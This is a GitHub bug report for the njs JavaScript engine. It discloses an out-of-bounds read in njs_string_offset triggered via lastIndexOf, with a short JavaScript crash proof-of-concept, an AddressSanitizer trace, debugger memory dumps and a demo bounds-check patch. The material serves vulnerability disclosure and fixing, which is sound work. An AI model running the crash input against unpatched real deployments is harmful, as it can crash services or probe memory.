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# Another way to trigger SEGV in njs\_utf8\_next cause oob read #569

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the call stack is different with [#522](#)

Environment

commit: 569292e0a74f2b1ec09566f3329f82bdd0d58e87

version: 0.7.7

Build :

```
./configure --cc=clang --address-sanitizer=YES
make
```

Poc

```
function placeholder(){}
function main() {
var v2 = String.fromCharCode(-950135168);
var v3 = v2.trimEnd(String);
var v8 = 512 >>> "multiline";
var v9 = String.fromCharCode(788580.490736339);
var v10 = v9.padEnd(v8,v3);
var v11 = v10.lastIndexOf(788580.490736339);
}
main();
```

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AddressSanitizer:DEADLYSIGNAL

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==1550478==ERROR: AddressSanitizer: SEGV on unknown address 0x6170bebedece (pc 0x000000505f0e bp 0x7fff88dc8f70 sp 0x7fff88dc8e40 T0)

==1550478==The signal is caused by a READ memory access.

```
#0 0x505f0e in njs_utf8_next /data/test-njs/njs/src/njs_utf8.h:54:20
#1 0x505f0e in njs_string_offset /data/test-njs/njs/src/njs_string.c:2545:17
#2 0x505f0e in njs_string_prototype_last_index_of /data/test-njs/njs/src/njs_string.c:2309:13
#3 0x53df7c in njs_function_native_call /data/test-njs/njs/src/njs_function.c:742:11
#4 0x4e5117 in njs_vmcode_interpreter /data/test-njs/njs/src/njs_vmcode.c:801:23
#5 0x53d466 in njs_function_lambda_call /data/test-njs/njs/src/njs_function.c:693:11
#6 0x4e5117 in njs_vmcode_interpreter /data/test-njs/njs/src/njs_vmcode.c:801:23
#7 0x4df05a in njs_vm_start /data/test-njs/njs/src/njs_vm.c:543:11
#8 0x4c7f89 in njs_process_script /data/test-njs/njs/src/njs_shell.c:919:19
#9 0x4c73b1 in njs_process_file /data/test-njs/njs/src/njs_shell.c:648:11
#10 0x4c73b1 in main /data/test-njs/njs/src/njs_shell.c:314:15
#11 0x7f75066e7082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
#12 0x41daad in _start (/data/test-njs/njs/build/njs+0x41daad)
```

AddressSanitizer can not provide additional info.

SUMMARY: AddressSanitizer: SEGV /data/test-njs/njs/src/njs\_utf8.h:54:20 in njs\_utf8\_next

==1550478==ABORTING

Credit  
ret2ddme

  xeioex added **bug** **fuzzer** labels on Aug 24

ret2ddme commented on Aug 25

Author

## Analysis

The root case is

```
const u_char *
njs_string_offset(const u_char *start, const u_char *end, size_t index)
{
    uint32_t    *map;
    njs_uint_t  skip;

    if (index >= NJS_STRING_MAP_STRIDE) {
        map = njs_string_map_start(end); [1]<--- create and init map

        if (map[0] == 0) {
            njs_string_offset_map_init(start, end - start); [2]<----- calculate some value and assign
        }
    }
}
```

```

    start += map[index / NJS_STRING_MAP_STRIDE - 1]; [3]<----- add map with start, **access ar
}

for (skip = index % NJS_STRING_MAP_STRIDE; skip != 0; skip--) {
    start = njs_utf8_next(start, end); [4] <----- crash here
}

return start;
}

```

We can control `index` to be a large number just like 0x1f0 in `poc`. After `njs_string_map_start` the map is

```

pwndbg> p map
$37 = (uint32_t *) 0x617000002214
pwndbg> x/20gx 0x617000002214
0x617000002214: 0xbebebebe00000000 0xbebebebebebebebebe
0x617000002224: 0xbebebebebebebebebe 0xbebebebebebebebebe
0x617000002234: 0xbebebebebebebebebe 0xbebebebebebebebebe
0x617000002244: 0xbebebebebebebebebe 0x00000040bebebebebe
0x617000002254: 0x0000004000006100 0x0000004a00006100
0x617000002264: 0xbebe020100006190 0x0000200000000250
0x617000002274: 0x0000000000006170 0x0000000000000000
0x617000002284: 0x0000000000000000 0x0000000000000000
0x617000002294: 0x0000000000000000 0x0000000000000000
0x6170000022a4: 0x0000000000000000 0x0000000000000000

```

And after some process of `njs_string_offset_map_init` func, the map size is 5

```

pwndbg> p map
$36 = (uint32_t *) 0x617000002214
pwndbg> x/20gx 0x617000002214
0x617000002214: 0x000000c000000060 0x0000018000000120
0x617000002224: 0xbebebebe000001e0 0xbebebebebebebebebe
0x617000002234: 0xbebebebebebebebebe 0xbebebebebebebebebe
0x617000002244: 0xbebebebebebebebebe 0x00000040bebebebebe
0x617000002254: 0x0000004000006100 0x0000004a00006100
0x617000002264: 0xbebe020100006190 0x0000200000000250
0x617000002274: 0x0000000000006170 0x0000000000000000
0x617000002284: 0x0000000000000000 0x0000000000000000
0x617000002294: 0x0000000000000000 0x0000000000000000
0x6170000022a4: 0x0000000000000000 0x0000000000000000

```

`NJS_STRING_MAP_STRIDE` is 32, which set in `njs_string.h`. Then `index / NJS_STRING_MAP_STRIDE - 1` large than the size of `map` cause oob read.

In `poc` `map[index / NJS_STRING_MAP_STRIDE - 1]` get `0xbebebebe` then crash

## Demo patch

```
diff --git a/src/njs_string.c b/src/njs_string.c
index 83cede5..8b3a31e 100644
--- a/src/njs_string.c
+++ b/src/njs_string.c
@@ -2307,7 +2307,10 @@ njs_string_prototype_last_index_of(njs_vm_t *vm, njs_value_t *args,
    }

    p = njs_string_offset(string.start, end, index);
-
+    if (p == (u_char*)NJS_ERROR) {
+        njs_error(vm, "index too large");
+        return NJS_ERROR;
+    }
    for (; p >= string.start; p = njs_utf8_prev(p)) {
        if ((p + s.size) <= end && memcmp(p, s.start, s.size) == 0) {
            goto done;
@@ -2530,14 +2533,16 @@ njs_string_offset(const u_char *start, const u_char *end, size_t index)
    {
        uint32_t    *map;
        njs_uint_t  skip;
-
+        njs_uint_t  size = 0;
        if (index >= NJS_STRING_MAP_STRIDE) {
            map = njs_string_map_start(end);

            if (map[0] == 0) {
-                njs_string_offset_map_init(start, end - start);
+                size = njs_string_offset_map_init(start, end - start);
+            }
+            if ((index / NJS_STRING_MAP_STRIDE) > size){
+                return (u_char*)NJS_ERROR;
+            }
-
            start += map[index / NJS_STRING_MAP_STRIDE - 1];
        }
    }

@@ -2596,7 +2601,7 @@ njs_string_index(njs_string_prop_t *string, uint32_t offset)
    }

-void
+njs_uint_t
njs_string_offset_map_init(const u_char *start, size_t size)
{
    size_t    offset;
@@ -2622,6 +2627,8 @@ njs_string_offset_map_init(const u_char *start, size_t size)
    offset--;

    } while (p < end);
+

```

```
+    return n;  
}
```

```
diff --git a/src/njs_string.h b/src/njs_string.h  
index 99f9d14..7e5eaab 100644  
--- a/src/njs_string.h  
+++ b/src/njs_string.h  
@@ -244,7 +244,7 @@ njs_int_t njs_string_slice(njs_vm_t *vm, njs_value_t *dst,  
    const u_char *njs_string_offset(const u_char *start, const u_char *end,  
        size_t index);  
    uint32_t njs_string_index(njs_string_prop_t *string, uint32_t offset);  
-void njs_string_offset_map_init(const u_char *start, size_t size);  
+njs_uint_t njs_string_offset_map_init(const u_char *start, size_t size);  
double njs_string_to_index(const njs_value_t *value);  
const char *njs_string_to_c_string(njs_vm_t *vm, njs_value_t *value);  
njs_int_t njs_string_encode_uri(njs_vm_t *vm, njs_value_t *args,
```

This fix is not standard, I just provides an idea.

  **ret2ddme** changed the title ~~Another way to trigger SEGV in njs\_utf8\_next~~ Another way to trigger SEGV in njs\_utf8\_next cause oob read on Aug 25

  **xeioex** self-assigned this on Aug 31


  **ret2ddme** mentioned this issue on Sep 1

Type confusion in src/njs\_vmcode.c found by code audit #572

 Closed

 **nginx-hg-mirror** closed this as completed in [b9aea58](#) on Sep 1

#### Assignees

 **xeioex**

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#### Projects

None yet

Milestone

No milestone

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Development

No branches or pull requests

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2 participants

